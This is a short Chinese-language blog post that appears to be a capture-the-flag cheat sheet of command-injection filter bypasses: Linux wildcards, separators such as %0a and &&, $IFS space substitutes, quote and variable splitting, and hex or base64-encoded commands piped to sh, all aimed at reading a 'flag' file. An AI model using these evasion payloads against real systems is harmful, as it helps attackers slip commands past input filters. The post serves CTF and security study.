命令執行的一些繞過
阿新 • • 發佈:2021-01-10
linux中的萬用字元
?:匹配一個任意字元
*:0到無窮個任意字元
[abc]:在括號內的任意一個字元
[a-c]:在編碼順序內的所有字元(連續)
{a,b}:以逗號分割的檔案列表進行拓展
多條命令執行
%0a 換行達到執行多條命令的目的 %0d 換行達到執行多條命令的目的 & 將命令變成背景下工作 && 表示依次執行命令,有一個失敗,則退出執行,類似於迴圈中的break | 左邊命令的輸出作為右邊命令的輸入,執行右邊的語句 || 符號隔開,表示 依次執行命令,只要有一個執行成功,則退出執行 ; 順序執行多條命令,當 ; 號前的命令執行完(不管是否執行成功),才執行 ; 後的命令。
替換空格
<
>
<>
$IFS$1
${IFS}$1
變數控制:
ascii碼
x=$'cat\x20flag';$x
空變數
$@
ca$@t flag
“
c"a"t flag
\
cat f\l\ag
變數替換
a=c;b=at;c=flag;$a$b $c
編碼
echo "Y2F0IGZsYWc=" | base64 -d |sh
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
內聯執行
``
cat `ls`